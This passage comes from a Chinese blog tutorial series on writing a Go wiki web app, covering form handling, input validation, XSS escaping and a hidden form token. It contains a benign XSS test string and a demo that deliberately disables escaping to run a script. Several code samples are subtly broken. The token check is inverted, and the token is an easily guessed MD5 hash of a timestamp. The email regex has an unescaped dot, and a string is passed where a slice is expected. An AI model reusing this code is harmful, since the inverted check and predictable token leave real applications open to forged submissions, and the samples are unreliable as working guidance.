<input type="hidden" name="token" value="{{.Token}}">

第二步修改我们的Page结构体

type Page struct {
 Title string
 Body []byte
 Script string
 Html template.HTML
 Token string
}

第三步添加Token

修改ArticleEdit函数，添加生成token的逻辑

crutime := time.Now().Unix()
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
token := fmt.Sprintf("%x", h.Sum(nil))

当我们重新编译程序并运行后，访问edit页面的时候，通过查看源代码的方式能够看到有如下代码

<input type="hidden" name="token" value="f3072482bbf23a8cbf2eeef3dd489eaf">

您可以刷新页面，每次都会看到不同的token。
这确保了每种形式都是独特的。

第四步添加验证逻辑

我这里修改ArticleSave函数，并添加如下逻辑

if token != "" {
 // check token validity
 fmt.Println("Token is empty")
} else {
 // give error if no token
 fmt.Println("To Validate Token")
}

我们使用MD5哈希（时间戳）生成令牌，并将其添加到客户端表单上的隐藏字段和服务器端的会话cookie（后面的分享中介绍）。
然后我们可以使用此令牌来检查此表单是否已提交。

目前，您可以通过向表单添加令牌来防止许多重复提交攻击，但它无法阻止此类型的所有欺骗性攻击。
还有许多工作需要完成

今天就分享到这里，如果你有更好的方法请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.7

Go基础学习记录 - 编写Web应用程序 - XSS

Fri, 01 Aug 2025 09:22:20 +0000

继续前几篇的分享，本次分享下 – XSS

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.5

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.5

这些我觉得够清晰了。OK！

继续分享XSS的分享。

转义提交的数据

今天的网站有更多的动态内容，以改善用户体验，这意味着我们必须根据每个人的行为提供动态信息。不幸的是，动态网站容易受到称为“跨站点脚本”（称为“XSS”）的恶意攻击。静态网站不容易受到跨站点脚本的影响。攻击者经常向有漏洞的网站注入JavaScript，VBScript，ActiveX或Flash等恶意脚本。一旦他们成功注入脚本，用户信息就会被盗，您的网站就会充斥着垃圾邮件。攻击者还可以将用户设置更改为他们想要的任何内容。
如果我们希望防止此类攻击，则应结合以下两种方法：
1、验证用户的所有数据，我在上几篇文章中已经讨论过。
2、小心处理将发送给客户端的数据，以防止任何注入的脚本在浏览器上运行。
那么我们如何在Go中做这两件事呢？
幸运的是，html/template包有一些有用的函数来转义数据，如下所示：

func HTMLEscape(w io.Writer, b []byte) 转义 b 到 w.
func HTMLEscapeString(s string) string 返回一个转义后的字符串
func HTMLEscaper(args …interface{}) string 从多个参数中转义后返回一个字符串。

让我们通过例子来演示下
这里我在ArticleSave方法中加入如下代码

fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("author"))) // print at server side
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("author")))
template.HTMLEscape(w, []byte(r.Form.Get("author"))) // responded to clients

如果有人试图将作者中输入为*<script>alert()</script>*，我们将分别在终端和浏览器中看到以下内容：
终端显示如下

author: &lt;script&gt;alert()&lt;/script&gt;
author: &lt;script&gt;alert()&lt;/script&gt;

浏览器显示如下

&lt;script&gt;alert()&lt;/script&gt;

如果你在测试的时候建议先运行下面这段代码

fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("author"))) // print at server side
fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("author")))

然后在注释掉上面的在运行下面这段代码

template.HTMLEscape(w, []byte(r.Form.Get("author"))) // responded to clients

这样操作后后逻辑就比较清晰

转义后的JavaScript

html/template包中的函数可帮助您转义所有HTML标记。
如果您只想将*<script>alert()</script>*打印到浏览器怎么办？
您应该使用text/template。
这里我没修改下我们项目的Page结构体，添加一个Script，如下

type Page struct {
 Title string
 Body []byte
 Script string
}

然后需改ArticleView函数，在ArticleView中添加如下代码

p.Script = "<script>alert('Web站开发实例')</script>"
helpers.RenderTemplate(w, "view", p)

然后在view.html添加如下代码

{{.Script}}

重新编译项目应运行，当我们访问view路由的时候，会看到类似如下的输出

<script>alert('Web站开发实例')</script>

我们还可以使用template.HTML类型：如果变量内容的类型为template.HTML，则不会对其进行转义。
这里我没修改下我们项目的Page结构体，添加一个Script，如下

type Page struct {
 Title string
 Body []byte
 Script string
 Html template.HTML
}

然后需改ArticleView函数，在ArticleView中添加如下代码

p.Html = template.HTML("<script>alert('Web站开发实例')</script>")

然后在view.html添加如下代码

{{.Html}}

重新编译项目应运行，当我们访问view路由的时候，会看到类似如下的输出

<script>alert('Web站开发实例')</script>

并且会有一个弹唱出现，其实就是调用了alert()函数

今天就分享到这里，如果你有更好的方法请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.6

Go基础学习记录 - 编写Web应用程序 - Web开发输入验证(四)

Fri, 01 Aug 2025 09:22:17 +0000

继续前面几篇文章的分享，本次分享下 – 输入验证

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.4

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.4

这些我觉得够清晰了。OK！

继续分享的输入验证的逻辑。

Web开发中最重要的原则之一是您不能信任客户端用户表单中的任何内容。
您必须在使用之前验证所有传入数据。
许多网站都受到这个问题的影响，这个问题既简单又至关重要。
有两种方法可以验证常用的表单数据。
第一个是前端的JavaScript验证，第二个是后端的服务器验证。
本次继续上次分享，分享Web开发中的服务器端验证第四部分

单选按钮

如果我们想知道文章的开放状态是打开还是关闭，我们可以使用单选按钮，打开为1，关闭为2。
然而，当提交文章的时候发送了一个3的值，程序是否会抛出异常？肯定会，但是要如果处理。
我们需要使用与下拉列表中相同的方法，以确保我们的单选按钮仅返回预期值，操作如下
在edit.html添加如下代码

<div class="checkbox">
 <label for="category">文章状态</label>
</div>
<div class="radio">
 <label>
 <input type="radio" name="openStatus" id="openStatus1" value="1" checked> 打开
 </label>
 <label>
 <input type="radio" name="openStatus" id="openStatus2" value="2"> 关闭
 </label>
</div>

在ArticleSave方法中使用以下代码来验证输入：

if !helpers.ValidateInArray(openStatusSlice, openStatus) {
 fmt.Println("openStatus not in openStatusSlice")
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
 return
}

并添加接收和输出的逻辑如下

openStatus := r.FormValue("openStatus")
fmt.Println("openStatus: ", openStatus)

跟上次分享判断“分类”是一样的逻辑
重新编译并运行项目，如果选择“打开”的话，提交后会在终端接收到如下输出

openStatus: 1

复选框

假设有一些用户兴趣的复选框，并且您不需要此处的无关值。
您可以验证以下内容：

在这种情况下，清理与验证按钮和复选框输入略有不同，因为在这里我们从复选框中得到一个切片。实例操作如下：
在edit.html添加如下代码

<div class="checkbox">
 <label for="category">频道</label>
</div>
<div class="checkbox">
 <label>
 <input type="checkbox" name="channel" value="news"> 新闻
 </label>
 <label>
 <input type="checkbox" name="channel" value="technology"> 科技
 </label>
 <label>
 <input type="checkbox" name="channel" value="other"> 其他
 </label>
</div>

在ArticleSave方法中使用以下代码来验证输入：
添加接收和输出的逻辑如下

channel := r.FormValue("channel")
fmt.Println("channel: ", channel)
fmt.Println("channels: ", r.Form["channel"])

重新编译并运行项目，如果选择“新闻”、“科技”的话，提交后会在终端接收到如下输出

channel: news
channels: [news technology]

从输出可以看出，使用r.FormValue获取的值并不是我们提交后获取的值，反而r.Form[“channel”]符合我们的要求，因此在以后的开发中，针对复选框的获取值的方式要留意下。

下面我们添加如下代码，对获取的值进行验证
先添加一个帮助函数

// ValidateSliceIntersection 交集
func ValidateSliceIntersection(sourceSlice []string, targetSlice []string) []string {
 var slice3 []string
 for _, slice1 := range sourceSlice {
 for _, slice2 := range targetSlice {
 if slice1 == slice2 {
 slice3 = append(slice3, slice2)
 }
 }
 }
 return slice3
}

在方法中调用

chennelSlice := []string{"news", "technology", "other"}
a := helpers.ValidateSliceIntersection(channel, chennelSlice)
if len(a) == 0 {
 fmt.Println("channel is empty")
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
 return
}

重新编译并运行项目，如果什么频道选项什么也不选的话，提交后会在终端接收到如下输出

channels: []
channel is empty

如果感兴趣也可以试试选择“新闻”，“科技”后再试试

今天就分享到这里，如果你有更好的方法请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.5

Go基础学习记录 - 编写Web应用程序 - Web开发输入验证(三)

Fri, 01 Aug 2025 09:22:14 +0000

继续前面几篇文章的分享，本次分享下 – 输入验证

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.3

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.3

这些我觉得够清晰了。OK！

继续分享的输入验证的逻辑。

验证整理

先将上次的验证分享进行下整理，上次验证主要包括中文、英文和邮箱，我们将这些小的功能整理到一个独立的文件中，方便我们后面调用
创建helpers/strings.go，整理的后的代码如下，当然如果您有更好的建议或者方式也可以分享一下。

package helpers

import (
 "regexp"
)

// ValidateInt 验证整数
func ValidateInt(str string) bool {
 if m, _ := regexp.MatchString("^[0-9]+$", str); m {
 return true
 }
 return false
}

// ValidateEmail 验证邮箱
func ValidateEmail(str string) bool {
 if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, str); m {
 return true
 }

 return false
}

// ValidateChinese 验证中文
func ValidateChinese(str string) bool {
 if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", str); m {
 return true
 }

 return false
}

// ValidateEnglish 验证英文
func ValidateEnglish(str string) bool {
 if m, _ := regexp.MatchString("^[a-zA-Z]+$", str); m {
 return true
 }

 return false
}

下拉列表

假设我们需要一个来自下拉列表的项目，里面是文章的分类内容，但我们得到的是黑客捏造的值。我们如何防止这种情况发生？
假设我们有以下 <select>：

<select name="category">
 <option value="php">PHP</option>
 <option value="java">Python</option>
 <option value="golang">Golang</option>
</select>

这里我修改 edit.html 文件
增加后部分内容如下

<div class="form-group">
 <label for="category">分类</label>
 <select class="form-control" name="category">
 <option value="php">PHP</option>
 <option value="java">Python</option>
 <option value="golang">Golang</option>
 </select>
</div>

服务端修改ArticleSave方法，添加如下代码

category := r.FormValue("category")

和

fmt.Println("category ", category)

重新编译代码并重启项目，分类中我们选择Golang后提交，会在后台终端输入类似如下的输出

category golang

如果仅仅是接收到了参数，如果黑客不是通过web端，而是模拟web提交数据的话，我们就会收到意想不到的结果，下面对这个输入进行下验证
在helpers/strings.go中加入验证函数

// ValidateInArray 元素是否在指定的数组中
func ValidateInArray(slice []string, str string) bool {
 for _, v := range slice {
 if v == str {
 return true
 }
 }

 return false
}

并在ArticleSave调用，进行验证

slice := []string{"php", "java", "golang"}
if !helpers.ValidateInArray(slice, category) {
 fmt.Println("category not in slice")
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
 return
}

为了测试我们在edit.html中加入一个不在"php", “java”, “golang"中的元素"html”

重新编译代码并重启项目，分类中我们选择Html后提交，会在后台终端输入类似如下的输出

category not in slice

今天就分享到这里，如果你有更好的方法请在下方留言或者加群交流

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.4

Go基础学习记录 - 编写Web应用程序 - Web开发输入验证(二)

Fri, 01 Aug 2025 09:22:11 +0000

继续前面几篇文章的分享，本次分享下 – 输入验证

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.2

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.2

这些我觉得够清晰了。OK！

继续分享的输入验证的逻辑。

中文

有时我们需要用户输入他们的中文名称，我们必须验证他们都使用中文而不是随机字符。
对于中文验证，正则表达式是唯一的方法。如下示例演示

if m, _ := regexp.MatchString("^[\\x{4e00}-\\x{9fa5}]+$", r.Form.Get("author")); m {
 fmt.Println("含有中文")
}

当提交的时候我们给author赋值"我是中文"，然后点击Submit提交，会看到输出如下内容

author: [我是中文]
含有中文

英文字母

有时我们需要用户只输入英文字母。
例如，我们需要某人的英文名称，比如astaxie而不是asta谢谢。
我们可以轻松使用正则表达式来执行验证。如下示例演示

if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("author")); m {
 fmt.Println("含有英文字母")
}

当提交的时候我们给author赋值"English"，然后点击Submit提交，会看到输出如下内容

author: [English]
含有英文字母

邮箱地址

如果您想知道用户是否输入了有效的电子邮件地址，可以使用以下正则表达式：

if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("author")); m {
 fmt.Println("正确的邮箱地址")
}

当提交的时候我们给author赋值"xxx@xxx"，然后点击Submit提交，会看到输出如下内容

author: [xxx@xxx]
正确的邮箱地址

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.3

Go基础学习记录 - 编写Web应用程序 - Web开发输入验证(一)

Fri, 01 Aug 2025 09:22:08 +0000

继续前面几篇文章的分享，本次分享下 – 输入验证

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.1

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.1

这些我觉得够清晰了。OK！

继续分享的输入验证的逻辑。

Web开发中最重要的原则之一是您不能信任客户端用户表单中的任何内容。
您必须在使用之前验证所有传入数据。
许多网站都受到这个问题的影响，这个问题既简单又至关重要。
有两种方法可以验证常用的表单数据。
第一个是前端的JavaScript验证，第二个是后端的服务器验证。
本次只分享Web开发中的服务器端验证。

必填字段

有时我们要求用户输入一些字段，但他们无法完成该字段。可以使用len函数来获取字段的长度，以确保用户输入了某些内容。在ArticleSave方法中加入如下代码

if len(r.Form["author"][0]) == 0 {
 fmt.Println("author is empty")
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}

当提交的时候我们不给author赋值，然后点击Submit提交，会看到输出如下内容

author: []
author is empty

r.Form在空白时对待不同的表单元素类型。
对于空文本框，文本区域和文件上传，它返回一个空字符串;
对于单选按钮和复选框，它甚至不会创建相应的项目。
相反，如果您尝试访问它，您将收到错误。
因此，使用r.Form.Get()获取字段值更安全，因为如果该值不存在，它将始终返回空。
另一方面，r.Form.Get()一次只能获得一个字段值，因此您需要使用r.Form来获取值的映射。我们修改下刚才那段代码如下

if len(r.Form.Get("author")) == 0 {
 fmt.Println("author is empty")
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}

当提交的时候我们不给author赋值，然后点击Submit提交，会看到输出如下内容

author: []
author is empty

得到的结果跟上段代码是一致的

数字

有时我们需要提交过来的数据是数字而不是字段值等其他文本。
例如，假设我们只需要整数形式的用户年龄，即50或10，而不是“足够老”或“年轻人”。
如果我们需要一个正数，我们可以先将值转换为int类型，然后再处理它。下面我们在ArticleSave方法中加入如下代码

getint, err := strconv.Atoi(r.Form.Get("author"))
if err != nil {
 fmt.Println(err)
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}
fmt.Println("getint:", getint)

当提交的时候我们给author赋值durban，然后点击Submit提交，会看到输出如下内容

author: [durban]
strconv.Atoi: parsing "durban": invalid syntax

当提交的时候我们给author赋值10，然后点击Submit提交，会看到输出如下内容

author: [10]
getint: 10

另一种方法是使用正则表达式。
代码如下，我们将上面的代码段更换如下

if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("author")); !m {
 fmt.Println("非整数")
 http.Redirect(w, r, "/view/"+title, http.StatusFound)
 return
}
fmt.Println("get author:", r.Form.Get("author"))

当提交的时候我们给author赋值10，然后点击Submit提交，会看到输出如下内容

author: [10]
get author: 10

出于高性能目的，正则表达式效率不高，但简单的正则表达式通常足够快。
如果您熟悉正则表达式，那么这是验证数据的一种非常方便的方法。
请注意，Go使用[RE2]，因此支持所有UTF-8字符。

RE2是一种快速，安全，线程友好的替代方法，用于回溯正则表达式引擎，如PCRE，Perl和Python中使用的那些。
它是一个C ++库。

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.2

Go基础学习记录 - 编写Web应用程序 - Web开发表单处理

Fri, 01 Aug 2025 09:22:05 +0000

前面的文章分享的部分功能都能正常使用，本次分享分析下里面的细节部分 – 表单处理

项目地址

https://github.com/durban89/wiki_blog
tag: 1.0.0

有些同学可能看不懂，怎么就只给了这些，完全不懂呀。我把使用的命令打出来，照着操作，就应该可以解决了

git clone https://github.com/durban89/wiki_blog /local/path
cd /local/path
git fetch origin
git checkout 1.0.0

这些我觉得够清晰了。OK！继续我们的表单处理逻辑。这里我一个templates/edit.html为例

<form action="/save/{{.Title}}" method="POST">
 <div class="form-group">
 <textarea class="form-control" name="body" rows="20" cols="80">{{printf "%s" .Body}}</textarea>
 </div>

 <button type="submit" class="btn btn-primary">Submit</button>
</form>

此表单将提交到服务器上的/save/{{.Title}}。
用户单击Submit按钮后，数据将被发送到服务器路由器注册的save处理程序。
然后我们需要知道它是使用POST方法还是GET。这里很明显是POST
使用http包很容易找到。
让我们看看save页面上的表单数据处理
打开文件controllers/article.go 找到ArticleSave方法。这个方法是处理save请求的，找到

body := r.FormValue("body")

这里只接收了一个body参数，如果有其他参数的话，获取方式是一样的，这里为了测试我们修改下form表单的代码添加一个作者信息，如下

<form action="/save/{{.Title}}" method="POST">
 <div class="form-group">
 <label for="author">作者</label>
 <input class="form-control" name="author" id="author" value=""/>
 </div>
 <div class="form-group">
 <label for="body">文章内容</label>
 <textarea class="form-control" name="body" id="body" rows="20" cols="80">{{printf "%s" .Body}}</textarea>
 </div>

 <button type="submit" class="btn btn-primary">Submit</button>
</form>

还要修改下ArticleSave函数，如下

func ArticleSave(w http.ResponseWriter, r *http.Request, title string) {
 body := r.FormValue("body")
 author := r.FormValue("author")
 method := r.Method

 fmt.Println("author ", author)
 fmt.Println("method: ", method)

 p := &helpers.Page{
 Title: title,
 Body: []byte(body),
 }

 err := p.Save()

 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 return
 }

 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}

主要是加了如下部分内容

author := r.FormValue("author")
method := r.Method

fmt.Println("author ", author)
fmt.Println("method: ", method)

这里多加了一个method的输出，为了后续逻辑做铺垫。比如如果是get请求的话，我们就不做处理，或者返回一个错误信息

重新编译项目并启动，请求save/后在终端会看到如下输出

author 作者名称
method: POST

这里的例子我使用的是FormValue，还有另外一个组合也可以使用，如下

r.ParseForm()
r.Form["author"]

这种方式获取到的值是一个数组，打印出来的话类似如下

[作者名称]

当使用r.FormValue的时候会自动执行r.ParseForm()，并且r.FormValue的获取的只是其中一个值，如果我们提交过来的数据是一个数组的话，只用r.FormValue的话会有问题request.Form的类型是url.Value。
它使用格式key = value保存数据，如下演示

v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")

fmt.Println(v.Encode()) // == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])

好了，关于表单的分享暂时就这些

项目更新地址

https://github.com/durban89/wiki_blog.git
tag: 1.0.1

Go基础学习记录 - 编写Web应用程序 - 重新调整项目目录结构（二）

Fri, 01 Aug 2025 09:22:02 +0000

上篇文章整理了一部分的文件结构，本次再将剩余的一部分也处理下，其实很小的一部分，

将main中makeHandler函数处理掉，封装到我们看起来还算比较方便的归类中，创建文件

helpers/handler.go

package helpers

import (
	"net/http"
	"regexp"
)

var validPath = regexp.MustCompile("^/(edit|save|view)/([a-zA-Z0-9]+)$")

// MakeHandler 处理路由函数
func MakeHandler(fn func(http.ResponseWriter, *http.Request, string)) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		// 这里我们将从Request中提取页面标题，并调用提供的处理程序'fn'
		m := validPath.FindStringSubmatch(r.URL.Path)
		if m == nil {
			http.NotFound(w, r)
			return
		}
		fn(w, r, m[2])
	}
}

这里说下我对go看法，其实go的机制并没有很完善，包管理其实一直是个大问题，按照我们正常的编写逻辑来说，应该不能像java之类的，先要编译完再运行，发现问题其实也需要一步一步去找，很头痛，这也是是为什么最近ReactNative一直很火的原因，热编译热启动热更新，都是为了我们的开发效率。然鹅go也是，虽然性能很好，但是包跟包之间的依赖似乎并不是很友好，我这里暂时按照自己的理解来，后面发现更可用的再进行更新。

下面修改main.go，引入我们需要的helper，main.go修改后的代码如下

package main

import (
	"log"
	"net/http"

	"github.com/durban89/wiki/controllers"
	"github.com/durban89/wiki/helpers"
)

func main() {
	http.HandleFunc("/view/", helpers.MakeHandler(controllers.ArticleView))
	http.HandleFunc("/save/", helpers.MakeHandler(controllers.ArticleSave))
	http.HandleFunc("/edit/", helpers.MakeHandler(controllers.ArticleEdit))
	log.Fatal(http.ListenAndServe(":8090", nil))
}

是不是感觉清爽了很多。

下面再次进行编译并运行项目，项目正常启动运行正常。

Go基础学习记录 - 编写Web应用程序 - 重新调整项目目录结构（一）

Fri, 01 Aug 2025 09:21:59 +0000

重新调整项目目录结构

前面的一些文章介绍，完全可以做一个简单的Web应用，但是如果用过PHP或者是Python等语言的框架开发Web应用的时候会发现，从结构目录上来说完全是一个成熟的架构了，但是对于Golang来说，似乎并没有什么成熟的架构，网上大多数现成的架构，也都是很随意，比如最流行的*Beego，大概看了下，功能很齐全，可以直接上手使用，但是对于像我习惯MVC方式的，*这不得不让我觉得，这样的写代码方式，似乎有些让我不习惯很习惯，下面让我来踩踩坑，做个适合自己开发的架构。

首先我们把前面文章中的视图做下整理，将view.html和edit.html，转移到templates文件夹，以后这个文件夹就是我们自己放模板的文件夹。同时我们将view.html和edit.html进行下UI，我这边使用了Bootstrap4.0版本，代码分别如下

templates/view.html

<!doctype html>
<html lang="en">
 <head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
 <title>{{.Title}}</title>
 <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
 </head>

 <body>
 <div class="container">
 <div class="col-md-12">
 <div class="text-center">
 <h1> {{.Title}}</h1>
 </div>

 <p>[<a href="/edit/{{.Title}}">edit</a>]</p>
 <div>{{printf "%s" .Body}}</div>
 </div>
 </div>

 <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
 <script src="https://cdn.bootcss.com/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
 <script src="https://cdn.bootcss.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
 </body>
</html>

templates/edit.html

<!doctype html>
<html lang="en">
 <head>
 <meta charset="utf-8">
 <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
 <title>Editing {{.Title}}</title>
 <link rel="stylesheet" href="https://cdn.bootcss.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
 </head>

 <body>
 <div class="container">
 <div class="col-md-12">
 <div class="text-center">
 <h1>Editing:【 {{.Title}}】</h1>
 </div>
 <form action="/save/{{.Title}}" method="POST">
 <div class="form-group">
 <textarea class="form-control" name="body" rows="20" cols="80">{{printf "%s" .Body}}</textarea>
 </div>

 <button type="submit" class="btn btn-primary">Submit</button>
 </form>
 </div>
 </div>
 <script src="https://cdn.bootcss.com/jquery/3.2.1/jquery.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
 <script src="https://cdn.bootcss.com/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
 <script src="https://cdn.bootcss.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
 </body>
</html>

同时修改templates

有原来的

var templates = template.Must(template.ParseFiles("template/edit.html", "template/view.html"))

修改为

var templates = template.Must(template.ParseFiles("templates/edit.html", "templates/view.html"))

重新编译并运行代码

$ go install
$ wiki

完美，一切正常。（正常不代表没问题），后面继续

Go基础学习记录 - 编写Web应用程序 - 函数字面量和函数闭包

Fri, 01 Aug 2025 09:21:52 +0000

函数字面量和函数闭包

在每个处理程序中捕获错误条件会引入大量重复的代码。
如果我们可以将每个处理程序包装在执行此验证和错误检查的函数中，该怎么办？
Go的函数文字提供了一种强大的抽象功能，可以帮助我们。
首先，我们重新编写每个处理程序的函数定义以接受标题字符串：

func viewHandler(w http.ResponseWriter, r *http.Request, title string)
func editHandler(w http.ResponseWriter, r *http.Request, title string)
func saveHandler(w http.ResponseWriter, r *http.Request, title string)

现在让我们定义一个包含上述类型函数的包装函数，并返回一个http.HandlerFunc类型的函数（适合传递给函数http.HandleFunc）：

func makeHandler(fn func(http.ResponseWriter, *http.Request, string)) http.HandleFunc {
 return func(w http.ResponseWriter, r *http.Request) {
 // 这里我们将从Request中提取页面标题，并调用提供的处理程序'fn'
 }
}

返回的函数称为闭包，因为它包含在其外部定义的值。在这种情况下，变量fn（makeHandler的单个参数）由闭包函数包含。变量fn将是saveHandler，editHandler或viewHandler程序之一。

现在我们可以从getTitle获取代码并在此处使用它（稍作修改）：

func makeHandler(fn func(http.ResponseWriter, *http.Request, string)) http.HandlerFunc {
 return func(w http.ResponseWriter, r *http.Request) {
 // 这里将从Request中提取页面标题，并调用提供的处理程序'fn'
 m := validPath.FindStringSubmatch(r.URL.Path)
 if m == nil {
 http.NotFound(w, r)
 return
 }
 fn(w, r, m[2])
 }
}

makeHandler返回的闭包是一个带有http.ResponseWriter和http.Request（换句话说，http.HandlerFunc）的函数。
闭包从请求路径中提取标题，并使用TitleValidator正则表达式对其进行验证。
如果标题无效，则会使用http.NotFound函数将错误写入ResponseWriter。
如果标题有效，则将使用ResponseWriter，Request和title作为参数调用封闭的处理函数fn。
现在，在使用http包注册之前，我们可以使用makeHandler在main中包装处理函数：

func main() {
 http.HandleFunc("/view/", makeHandler(viewHandler))
 http.HandleFunc("/save/", makeHandler(saveHandler))
 http.HandleFunc("/edit/", makeHandler(editHandler))
 log.Fatal(http.ListenAndServe(":8090", nil))
}

最后，从处理函数中删除对getTitle的调用，使它们更简单：

func viewHandler(w http.ResponseWriter, r *http.Request, title string) {
 p, err := loadPage(title)
 if err != nil {
 http.Redirect(w, r, "/edit/"+title, http.StatusFound)
 return
 }

 renderTemplate(w, "view", p)
}

func editHandler(w http.ResponseWriter, r *http.Request, title string) {
 p, err := loadPage(title)
 if err != nil {
 p = &Page{Title: title}
 }

 renderTemplate(w, "edit", p)
}

func saveHandler(w http.ResponseWriter, r *http.Request, title string) {
 body := r.FormValue("body")
 p := &Page{
 Title: title,
 Body: []byte(body),
 }

 err := p.save()

 if err != nil {
 http.Error(w, err.Error(), http.StatusInternalServerError)
 return
 }

 http.Redirect(w, r, "/view/"+title, http.StatusFound)
}

修改完之后重新打包，看下我们的处理逻辑是否能正常运行

$ go install
$ wiki

运行正常。
我当前的运行目录如下，稍后下面将分享下实践的的代码

.
├── LICENSE
├── README.md
├── data
│ ├── test.txt
│ ├── test1.txt
│ └── testdd.txt
├── main.go
└── template
 ├── edit.html
 └── view.html

本实例结束实践项目地址

https://github.com/durban89/wiki_blog.git

国内用户如果打不开的话可以到这里

https://gitee.com/durban/wiki_blog.git

Go基础学习记录 - 编写Web应用程序 - 安全验证

Fri, 01 Aug 2025 09:21:48 +0000

安全验证

前面加了很多功能，但是程序存在严重的安全漏洞，用户可以访问在服务器上读/写的任意路径。
为了缓解这种情况，我们可以编写一个函数来使用正则表达式验证标题。
首先，将"regexp"添加到导入列表中。
然后我们可以创建一个全局变量来存储我们的验证表达式：

var validPath = regexp.MustCompile("^/(edit|save|view)/([a-zA-Z0-9]+)$")

函数regexp.MustCompile将解析并编译正则表达式，并返回一个regexp.Regexp。
MustCompile与Compile的区别在于，如果表达式编译失败，它将会出现异常，而Compile会将错误作为第二个参数返回。
现在，让我们编写一个函数，该函数使用validPath表达式来验证路径并提取页面标题

func getTitle(w http.ResponseWriter, r *http.Request) (string, error) {
 m := validPath.FindStringSubmatch(r.URL.Path)
 if m == nil {
 http.NotFound(w, r)
 return "", errors.New("无效的页面标题")
 }

 return m[2], nil // 标题是第二个子表达式中
}

如果标题有效，它将与nil错误值一起返回。
如果标题无效，该函数将向HTTP连接写入“404 Not Found”错误，并向处理程序返回错误。
要创建新错误，我们必须导入错误包。
下面在每个处理程序中调用getTitle：

func viewHandler(w http.ResponseWriter, r *http.Request) {
 title, err := getTitle(w, r)
 if err != nil {
 return
 }

 p, err := loadPage(title)
 if err != nil {
